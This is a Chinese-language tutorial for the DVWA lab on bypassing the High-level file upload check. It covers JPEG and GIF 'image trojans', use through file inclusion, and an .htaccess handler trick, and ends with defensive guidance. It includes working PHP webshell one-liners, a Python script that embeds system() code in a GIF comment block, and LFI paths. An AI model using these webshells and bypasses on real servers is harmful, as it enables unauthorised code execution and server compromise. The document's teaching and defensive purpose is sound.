DVWA文件上传High级绕过:图片马、GIF注释与竞争条件攻击实战

DVWA文件上传High级绕过:图片马、GIF注释与竞争条件攻击实战

1. 项目概述:从“上传图片”到“执行命令”的攻防博弈

在Web安全测试的实战演练中,文件上传漏洞一直是一个经典且危险的攻击向量。它不像SQL注入那样需要复杂的语句构造,也不像XSS那样依赖用户交互,一个简单的上传点,如果防护不当,就可能成为攻击者直通服务器后门的“高速公路”。今天我们要深入探讨的,是DVWA(Damn Vulnerable Web Application)1.9版本中,文件上传模块的High级别安全设置。这个级别模拟了现实中一种较为严格的防护场景:服务器不仅检查文件扩展名,还会尝试对文件内容进行图像检测,以验证其是否为真实的图片文件。

这听起来很安全,对吧?上传一个PHP木马,服务器检测后发现它不是一张有效的JPEG或PNG图片,于是拒绝上传。但现实中的攻防永远是动态的。安全防护在升级,攻击者的绕过技巧也在进化。这个High级别的防护,恰恰为我们提供了一个绝佳的沙盒,去学习和实践三种绕过图像检测的实战技巧。这不仅仅是“通关一个靶场”,更是理解现代Web应用安全中,黑白名单过滤、MIME类型校验、文件内容解析等机制可能存在的逻辑缺陷。对于安全研究人员、渗透测试工程师乃至开发人员来说,掌握这些技巧,意味着你能更透彻地理解防御的边界,从而设计出更健壮的系统。

2. 核心漏洞原理与High级防护机制拆解

在深入技巧之前,我们必须先彻底理解DVWA High级别文件上传的防御逻辑。与Low和Medium级别相比,High级别的防护实现了质的飞跃,它不再是简单地检查文件名后缀(如.php)或大小写变换(如.Php),而是引入了更深层次的内容验证。

2.1 High级防护的核心:getimagesize()函数

DVWA High级别防护的核心,是PHP内置的getimagesize()函数。这个函数的作用是读取一个图像文件的头部信息,并返回其尺寸、类型等属性。如果传入的文件不是一个有效的图像文件(如图像头损坏或根本不是图像),该函数将返回FALSE

靶场的关键校验代码逻辑如下(此为分析还原,非原码直出):

// 模拟High级别校验逻辑 $uploaded_file = $_FILES['uploaded']['tmp_name']; $image_info = @getimagesize($uploaded_file); if($image_info === false) { $html .= "<pre>文件不是有效的图像。</pre>"; } else { // 进一步检查文件扩展名是否在白名单内(如.jpg, .jpeg, .png, .gif) // 并且扩展名需与getimagesize返回的MIME类型匹配 // 只有全部通过,文件才会被移动至上传目录 }

这个机制聪明在哪里?它试图从文件本质上进行判断。你上传一个名为shell.jpg的文件,如果文件内容是一段PHP代码,getimagesize()无法解析出图像尺寸,校验就会失败。这有效防御了单纯修改文件名后缀的攻击。

2.2 攻击面分析:校验逻辑的潜在盲点

然而,任何安全机制都存在其攻击面。getimagesize()的校验逻辑为我们提供了几个潜在的绕过思路:

  1. 文件结构拼接:能否构造一个文件,使其既能被getimagesize()识别为有效图像,又包含可执行的恶意代码?
  2. 解析差异getimagesize()是否对所有图像格式的解析都完美无缺?是否存在某些边界情况或特定格式的解析漏洞?
  3. 校验时机与位置:校验发生在文件被移动到最终目录之前。如果最终目录具有执行权限,且我们上传的文件能保留其恶意部分,是否就有机会?

基于这些思路,我们衍生出三种实战绕过技巧,它们分别利用了不同的逻辑盲点。

3. 实战技巧一:制作“图片马”与文件头欺骗

这是最经典、也最需要理解文件格式的一种方法。其核心思想是:我们不伪造整个文件,而是制作一个“杂交”文件——它拥有一个合法的图像文件头,因此能通过getimagesize()的检测,同时在文件尾部或其他数据块中,嵌入我们的恶意代码。

3.1 原理剖析:图像文件格式的“宽容性”

常见的图像格式如JPEG、PNG,其文件结构是分块的。例如:

  • JPEG:以FF D8开头,以FF D9结束。在这两个标记之间,是大量的图像数据段。许多图像查看器和解析器在遇到FF D9(图像结束标记)后就会停止读取,之后的内容会被忽略。
  • PNG:以固定的89 50 4E 47 0D 0A 1A 0A(.PNG….)开头,之后是由长度、块类型、块数据、CRC校验组成的多个数据块(Chunk)。其中有一个关键数据块叫IEND,标志着文件结束。

getimagesize()函数主要读取文件头部的信息来确定图像类型和尺寸。对于JPEG,它需要读取到SOF0(Start of Frame)段才能获得尺寸;对于PNG,则需要读取IHDR块。只要文件头部结构完整且正确,函数就会返回有效信息,它通常不会完整扫描整个文件直到末尾

这就给了我们可乘之机:我们可以在图像文件结束标记(如JPEG的FF D9)之后,追加任意数据,包括PHP代码。

3.2 实操步骤:手搓一个JPEG图片马

这里以JPEG格式为例,演示最可靠的手工制作方法。

  1. 准备素材

    • 一张正常的JPEG图片(例如normal.jpg)。
    • 你的WebShell代码,例如一个极简的一句话木马:<?php @eval($_POST[‘cmd’]);?>,保存为shell.txt
  2. 使用命令行进行拼接(Linux/macOS或Windows Git Bash)

    # 将正常图片和shell代码文件合并 cat normal.jpg shell.txt > shell.jpg

    这个命令将normal.jpg的内容和shell.txt的内容按顺序合并,输出到新的shell.jpg文件中。

  3. 验证与上传

    • 用图片查看器打开shell.jpg,它应该能正常显示,因为查看器在遇到FF D8后开始渲染,在FF D9后停止。
    • getimagesize()函数验证(可以写一个简单的PHP脚本):
      <?php print_r(getimagesize(‘shell.jpg’)); ?>
      如果返回了数组(包含宽度、高度、类型),说明成功欺骗。
    • 在DVWA High级别上传此shell.jpg。由于文件头部是合法的JPEG,getimagesize()校验通过,文件会被成功上传到服务器目录(如/hackable/uploads/)。

3.3 关键难点与利用条件

上传成功只是第一步,要让代码执行,还需要满足一个至关重要的条件:服务器必须以某种方式“执行”我们上传的文件。直接访问http://靶场地址/hackable/uploads/shell.jpg,服务器通常会将其作为静态图片处理,输出二进制流,其中的PHP代码不会被解析。

因此,这种技巧通常需要配合其他漏洞才能实现最终的攻击,例如:

  • 文件包含漏洞(LFI):如果目标网站存在本地文件包含漏洞,攻击者可以包含这个上传的图片马,如?page=../uploads/shell.jpg。当该文件被includerequire函数包含时,PHP引擎会解析整个文件内容,遇到<?php ... ?>标签就会执行其中的代码,而图片数据部分由于在<?php ?>标签外,会被当作普通文本输出(可能乱码,但不影响代码执行)。
  • 解析漏洞:某些特定版本的Web服务器(如老版本Nginx、IIS)存在解析漏洞,可能将shell.jpg错误地交给PHP解析器处理。例如著名的Nginx + PHP-CGI解析漏洞(已修复),在特定配置下,请求shell.jpg/.php会导致Nginx将文件交给PHP处理。

实操心得:制作图片马时,务必确保原始图片足够“干净”。有些图片经过某些编辑器保存后,可能会在文件尾添加额外的注释或数据,这可能导致你追加的PHP代码位置不对,甚至破坏文件结构。最稳妥的方法是使用命令行工具(如cat)或十六进制编辑器进行拼接。在实战信息收集中,如果发现目标存在文件包含功能点,图片马的成功率将大大提升。

4. 实战技巧二:利用GIF图像注释块嵌入代码

相比于粗暴的尾部追加,利用GIF格式的特性进行代码嵌入是一种更隐蔽、更结构化的方法。GIF89a格式规范允许在图像数据流中定义“注释扩展块”(Comment Extension Block),这个块的设计初衷是用来存储文本注释信息,如图像作者、创作软件等。

4.1 原理剖析:GIF的注释扩展块

一个GIF文件由头部、逻辑屏幕描述符、全局颜色表(可选)、图像数据以及可选的扩展块和文件结束符组成。注释扩展块(Introducer0x21, Label0xFE)是其众多扩展块的一种。它的结构如下:

  1. 扩展块引入符:0x21
  2. 注释标签:0xFE
  3. 块大小:后续数据子块的长度(1-255字节)。
  4. 注释数据:实际的文本数据。
  5. 块终结符:0x00

关键点在于:注释块中的内容是纯文本,并且图像渲染器会完全忽略它。这意味着我们可以将PHP代码作为“注释”写入这个块中,而图片的显示完全不受影响。getimagesize()函数在解析GIF时,会读取图像逻辑屏幕描述符以获取尺寸,但它通常不会(也不需要)去解析或验证注释块的内容。

4.2 实操步骤:构造带注释的GIF木马

我们可以手动编辑,也可以编程实现。这里介绍使用Python的PIL(Pillow)库的方法,它更精确可靠。

  1. 环境准备:确保安装了Python和Pillow库。

    pip install Pillow
  2. 编写构造脚本

    from PIL import Image, ImageDraw import struct # 1. 创建一个微小的纯色GIF图片(1x1像素) img = Image.new(‘RGB’, (1, 1), color=‘white’) img.save(‘tiny.gif’, ‘GIF’) # 2. 以二进制方式读取并修改 with open(‘tiny.gif’, ‘rb’) as f: data = bytearray(f.read()) # 3. 定位GIF数据区结束位置(在图像数据之后,文件结束符0x3B之前) # 简单方法:在文件结束符前插入我们的注释块 # 找到文件结束符 ‘;’ (0x3B) try: end_index = data.index(0x3B) except ValueError: print(“未找到GIF结束符”) exit() # 4. 构造注释扩展块 # 我们的PHP代码 php_code = b‘<?php system($_GET[“c”]); ?>’ # 注释块结构:0x21 0xFE [size] [data…] 0x00 comment_block = bytearray() comment_block.append(0x21) # 扩展引入符 comment_block.append(0xFE) # 注释标签 # 将PHP代码分块(每块最多255字节) chunk_size = 255 for i in range(0, len(php_code), chunk_size): chunk = php_code[i:i+chunk_size] comment_block.append(len(chunk)) # 子块大小 comment_block.extend(chunk) comment_block.append(0x00) # 块终结符 # 5. 在文件结束符前插入注释块 data[end_index:end_index] = comment_block # 在索引end_index处插入 # 6. 保存新文件 with open(‘shell.gif’, ‘wb’) as f: f.write(data) print(“GIF图片马生成成功:shell.gif”)
  3. 验证与利用

    • 用图片查看器打开shell.gif,应能正常显示(一个白点)。
    • getimagesize()测试,应能通过。
    • 上传至DVWA High级别。
    • 利用方式同样需要文件包含漏洞。当shell.gif被包含时,PHP解析器会扫描整个文件,遇到<?php ... ?>标签即执行。由于注释块是GIF格式的一部分,代码被“包裹”在合法的图像结构中,隐蔽性极高。

注意事项:这种方法生成的GIF文件,其注释块对于图像渲染是完全透明的,但对于文本编辑器或十六进制编辑器是可见的。在实战中,蓝队或WAF如果对上传文件进行深度内容扫描(如正则匹配<?php),仍然可能被发现。因此,可以结合编码、混淆等手段对PHP代码进行进一步处理。

5. 实战技巧三:竞争条件攻击与.htaccess劫持

前两种技巧都依赖于“文件包含漏洞”这个二次利用点。如果目标服务器严格过滤了包含路径,或者根本没有文件包含功能呢?第三种技巧提供了一种更直接、但条件更苛刻的思路:竞争条件攻击(Race Condition Attack),并结合Apache服务器的.htaccess文件配置特性。

5.1 原理剖析:校验与执行的“时间差”

这种攻击针对的是安全防护逻辑的执行顺序漏洞。我们设想一个理想的、安全的文件上传流程:

  1. 用户上传文件到临时目录。
  2. 服务器进行安全检查(类型、内容、病毒扫描等)。
  3. 检查通过,文件被移动到公开的可访问目录。
  4. 检查不通过,临时文件被删除。

问题在于,步骤2和步骤3之间,以及文件被移动到最终目录后到被访问前,存在一个极短的时间窗口。如果我们能在这个窗口期内,抢在服务器完成所有后续处理(如重命名、再次校验)之前,访问或操作这个文件,就可能实现绕过。

在DVWA的High级别中,假设我们上传了一个.htaccess文件。服务器端的校验逻辑可能是:

if (is_uploaded_file() && getimagesize() && 扩展名在白名单) { move_uploaded_file($tmp_name, $target_path); // 文件被移动 // 或许这里还有一步:如果扩展名不是图片,就删除?但逻辑已通过。 }

如果服务器没有在移动文件后,再次根据最终文件名或内容进行二次校验,那么一个恶意文件一旦通过初始校验,就会永久驻留。

5.2.htaccess文件的威力

Apache服务器的.htaccess文件是一个目录级别的配置文件,可以覆盖全局设置。其中一个危险的功能是AddTypeSetHandler。例如,我们可以在.htaccess中写入:

AddType application/x-httpd-php .jpg

这条指令告诉Apache服务器,在当前目录及其子目录下,所有.jpg文件都应被当作PHP程序来解析执行。

攻击思路由此形成:

  1. 上传恶意.htaccess文件:但.htaccess本身不是图像,无法通过getimagesize()校验。
  2. 利用竞争条件:我们需要先上传一个合法的图片文件(如test.jpg),在它通过校验并被移动到上传目录的瞬间,我们立即发起第二次请求,尝试用这个合法图片文件覆盖掉服务器上可能存在的.htaccess文件?不,这行不通,因为文件名不同。
  3. 正确的利用链:这个技巧在DVWA High级别单独使用成功率极低,因为它通常需要结合其他漏洞配置缺陷。例如:
    • 配置缺陷:服务器错误地配置了上传目录的权限,允许执行.htaccess文件,并且没有禁止上传此类文件。
    • 逻辑缺陷:服务器的校验逻辑存在顺序问题,例如先根据白名单放行(白名单里可能有.jpg.png),然后再进行getimagesize()检查。如果我们能在第一次检查后、第二次检查前的极短时间内,通过多线程并发请求,快速将上传的文件改名为.htaccess?这需要服务器端代码存在这样的重命名功能且未做校验,这在DVWA中通常不模拟。

因此,更现实的场景是,攻击者首先通过其他手段(如低级别漏洞、配置错误)上传一个.htaccess文件,或者目标上传目录本身就已存在可写的.htaccess文件。然后,攻击者再上传一个内容为图片马、后缀为.jpg的文件。由于.htaccess指令的存在,这个shell.jpg会被当作PHP执行。

重要提示:在真实环境中,这种攻击路径非常狭窄。现代Web服务器和应用框架会严格限制上传目录的脚本执行权限,并禁止.htaccess的覆盖。切勿在未经授权的真实网站上进行任何此类测试。在DVWA靶场中,此技巧主要用于理解“权限配置”与“解析逻辑”结合可能产生的巨大风险。

5.3 模拟实验:理解风险场景

为了理解这个原理,我们可以在可控环境(如自己的测试机)中模拟:

  1. 配置一个Apache服务器,故意将某个上传目录的AllowOverride设置为All(允许.htaccess覆盖)。
  2. 在该目录下手动放置一个包含AddType application/x-httpd-php .jpg.htaccess文件。
  3. 使用DVWA High级别上传一个包含PHP代码的shell.jpg(图片马)。
  4. 直接访问这个shell.jpg的URL,观察PHP代码是否被执行。

这个实验能让你深刻体会到,一个微不足道的配置错误(不安全的目录权限),如何让一个严格的内容校验机制形同虚设。

6. 防御方案与安全开发建议

知己知彼,百战不殆。了解了攻击者的绕过技巧,作为开发或安全人员,我们应该如何构建更坚固的防御?

6.1 多层防御体系:不依赖单一机制

最有效的防御是实施纵深防御策略,任何单一检查点都可能被绕过。

  1. 白名单文件扩展名:这是第一道,也是必须的防线。只允许业务必需的文件类型,如[‘.jpg’, ‘.jpeg’, ‘.png’, ‘.gif’]。禁止.php,.phtml,.phar,.htaccess等危险扩展名。
  2. 文件内容类型校验:使用getimagesize()exif_imagetype()或更专业的图像处理库(如GD、Imagick)重新渲染图像。确保文件不仅是“像”图像,而且能被成功解码和再编码。可以尝试将上传的图像用GD库打开再保存,如果失败则拒绝。
  3. 重命名与随机化:上传后,立即将文件重命名为随机字符串(如UUID),并保留原始扩展名。$new_name = uniqid() . ‘_’ . bin2hex(random_bytes(8)) . $ext;。这能防止攻击者直接猜测或访问上传的文件路径。
  4. 设置安全的存储位置
    • 将上传目录设置为Web根目录之外。这样,用户无法通过URL直接访问上传的文件。
    • 如果必须Web访问,则通过一个专用的文件代理脚本来读取和输出。例如,访问/download.php?id=xxx,脚本内部验证权限后,从非Web目录读取文件并输出。对于图片,可以输出正确的Content-Type
  5. 禁用脚本执行权限:在Web服务器配置中,明确禁止上传目录执行任何脚本。
    • Apache:<Directory “/path/to/uploads”> php_flag engine off </Directory>RemoveHandler .php .phar .phtml
    • Nginx:location ~ ^/uploads/.*\.(php|phar|phtml)$ { deny all; }
  6. 文件内容安全检查:对上传的文件进行病毒/恶意代码扫描。对于图片,可以检查文件中是否包含<?php,<script>等危险字符串,但要注意误报(这些字符串可能合法地存在于图像二进制数据中)。
  7. 设置文件大小限制:防止通过上传超大文件进行DoS攻击。
  8. 使用安全的框架和库:现代Web框架(如Laravel, Symfony)的文件上传组件通常内置了更安全、更全面的验证机制,应优先使用。

6.2 针对三种绕过技巧的专项防御

  • 对抗图片马:实施上述第2点(内容重渲染)是最有效的方法。例如,使用imagecreatefromjpeg()imagejpeg()重新生成一张图片,任何追加在文件尾的额外数据都会被丢弃。同时,结合第4点(存储位置与代理访问),即使恶意文件上传,也无法被直接解析。
  • 对抗GIF注释块:同样,内容重渲染可以消除注释块。此外,可以解析GIF文件结构,检查是否存在异常的注释块(特别是过大的注释块),并予以拒绝或清除。
  • 对抗竞争条件与.htaccess攻击:确保上传目录无执行权限(第5点)是根本。同时,文件上传后的处理逻辑应保持原子性,避免在移动、重命名过程中出现可被利用的时间窗口。对于.htaccess,服务器配置应禁止覆盖(AllowOverride None)。

7. 靶场实战演练与问题排查

理论结合实践,让我们回到DVWA靶场,将上述技巧付诸实施,并记录可能遇到的问题。

7.1 环境准备与配置

  1. 启动DVWA:确保你的DVWA 1.9环境已搭建完成,并将安全级别设置为High。
  2. 准备工具
    • 浏览器:Chrome或Firefox,并安装开发者工具(F12)。
    • 代理工具:Burp Suite Community版,用于拦截和修改HTTP请求,这对于某些精细操作非常有用。
    • 文本编辑器/IDE:用于编写和修改脚本文件。
    • 命令行终端:用于执行文件拼接等操作。

7.2 技巧一实战:上传JPEG图片马并利用文件包含

  1. 制作图片马:按3.2节操作,得到shell.jpg
  2. 在DVWA中上传
    • 访问DVWA文件上传页面(High级别)。
    • 选择shell.jpg,点击Upload。
    • 如果成功,页面会显示文件上传后的路径,例如…/hackable/uploads/shell.jpg
  3. 寻找利用点:切换到DVWA的“File Inclusion”模块。尝试在Low或Medium级别下,利用本地文件包含(LFI)漏洞。
    • 例如,在Low级别文件包含页面,输入:…/…/hackable/uploads/shell.jpg(具体路径需根据实际情况调整)。
    • 如果包含成功,页面可能会显示乱码(图片二进制数据),但我们的PHP代码已被服务器解析。
  4. 验证执行:使用HackBar(浏览器插件)或直接修改URL,向包含后的页面传递POST参数。例如,如果使用<?php @eval($_POST[‘cmd’]);?>,则可以构造POST请求,cmd=system(‘whoami’);,查看命令是否执行。

常见问题1:上传失败,提示“文件不是有效的图像”

  • 排查:检查制作的图片马。用getimagesize()本地测试一下。很可能图片文件头在拼接过程中损坏。尝试换一张更简单的JPEG图片重新制作。
  • 排查:使用hexdump -C shell.jpg | head -20命令查看文件头部,确认是否以FF D8 FF开头。

常见问题2:文件包含成功,但代码未执行

  • 排查:查看页面源代码。如果PHP代码被原样输出,说明该文件没有被PHP解析。这证明服务器正确地将.jpg文件当作静态资源处理了。这说明单纯上传图片马,没有文件包含漏洞配合,是无法直接执行的,验证了我们之前的分析。
  • 排查:文件包含路径是否正确?DVWA的文件包含路径是相对路径,需要根据包含页面的位置计算。例如,包含页面在vulnerabilities/fi/,上传文件在hackable/uploads/,则通常需要使用…/…/hackable/uploads/shell.jpg

7.3 技巧二实战:上传GIF图片马

  1. 生成GIF木马:运行4.2节的Python脚本,生成shell.gif
  2. 上传与包含:步骤与技巧一完全相同。在DVWA High级别上传shell.gif,然后在文件包含漏洞点包含它。
  3. 对比分析:使用Burp Suite拦截上传请求和响应,观察与上传普通图片有何异同。你会发现,请求和响应看起来与上传一张普通GIF无异,隐蔽性非常好。

7.4 技巧三的局限性演示

在标准的DVWA High级别环境中,直接上传.htaccess文件会被getimagesize()拦截。尝试上传一个内容为AddType application/x-httpd-php .jpg.htaccess文件,你会立刻收到“文件不是有效的图像”的错误。

这个演示旨在强调:任何强大的攻击技巧都有其前置条件和局限性.htaccess攻击依赖于特定的服务器配置错误,在默认安全配置下很难实现。它更多地是作为一种“可能性”存在于攻击者的知识库中,用于在发现配置疏漏时扩大战果。

7.5 使用Burp Suite进行精细化测试

对于更复杂的绕过,或测试WAF/过滤规则,Burp Suite是不可或缺的。

  1. 拦截上传请求:配置浏览器代理到Burp,在DVWA上传文件时,Burp会截获POST请求。
  2. 修改请求参数:你可以在Proxy -> Intercept标签页中,修改上传的文件名(filename参数)、Content-Type(Content-Type头)以及文件内容本身(十六进制视图)。
    • 测试双扩展名:尝试将文件名改为shell.jpg.php,观察服务器响应。在High级别,这通常会被getimagesize()在临时文件上检测内容而失败。
    • 测试空字节截断(PHP老版本漏洞):尝试shell.jpg%00.php。但在PHP版本>=5.3.4后,此漏洞已被修复。
    • 测试畸形Content-Type:将Content-Type: image/jpeg改为Content-Type: text/plain,观察是否影响校验。在DVWA High级别,它主要依赖getimagesize(),可能不受此影响,但某些应用会同时检查MIME类型。
  3. Intruder模块模糊测试:如果你怀疑服务器端有自定义的黑名单或过滤逻辑,可以使用Intruder模块,对文件名、文件内容的关键字进行模糊测试,系统地探测过滤规则。

8. 总结与延伸思考

通过拆解DVWA文件上传High级别的三种绕过技巧,我们实际上完成了一次小型攻防演练。从制作图片马利用文件包含,到精心构造GIF注释块,再到理解竞争条件与配置缺陷结合的潜在风险,每一步都揭示了安全机制在深度和广度上的挑战。

安全是一个过程,而非一个状态。getimagesize()是一个强大的函数,但它只是防御链条中的一环。攻击者总会寻找最薄弱的一环。作为防御方,我们必须建立纵深、立体的防御体系,从文件名、内容、存储位置到服务器权限,层层设防。

对于学习者而言,DVWA这样的靶场价值在于,它提供了一个绝对安全的环境,让我们可以大胆地尝试、失败、再尝试,从而将抽象的安全原理转化为肌肉记忆。当你下次在代码审查中看到文件上传功能时,希望你的脑海中能立刻浮现出这些绕过技巧,并本能地去检查:扩展名是否白名单?内容是否重渲染?存储目录是否无执行权限?

最后,记住所有安全实践的第一原则:永远不要信任用户输入。无论是文件名、文件内容,还是文件大小,都必须经过严格、多重、在服务器端的验证。只有这样,才能将文件上传这道“门户”,真正地守护好。